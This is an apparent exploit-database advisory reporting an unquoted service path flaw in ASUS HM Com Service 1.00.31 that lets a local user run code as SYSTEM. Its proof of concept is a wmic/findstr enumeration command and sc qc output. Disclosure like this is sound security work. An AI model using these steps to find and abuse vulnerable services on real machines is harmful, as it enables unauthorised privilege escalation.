31 lines
No EOL
1.2 KiB
Text
31 lines
No EOL
1.2 KiB
Text
# Exploit Title: ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path
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# Date: 2019-11-16
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# Exploit Author : Olimpia Saucedo
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# Vendor Homepage: www.asus.com
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# Version: 1.00.31
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# Tested on: Windows 10 Pro x64 (but it should works on all windows version)
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The application suffers from an unquoted service path issue impacting the service 'ASUS HM Com Service (aaHMSvc.exe)' related to the Asus Motherboard Utilities.
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This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
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POC:
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>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
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ASUS HM Com Service asHmComSvc
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C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe
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Auto
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>sc qc "asHMComSvc"
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: asHMComSvc
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : ASUS HM Com Service
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DEPENDENCIES : RpcSs
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SERVICE_START_NAME : LocalSystem |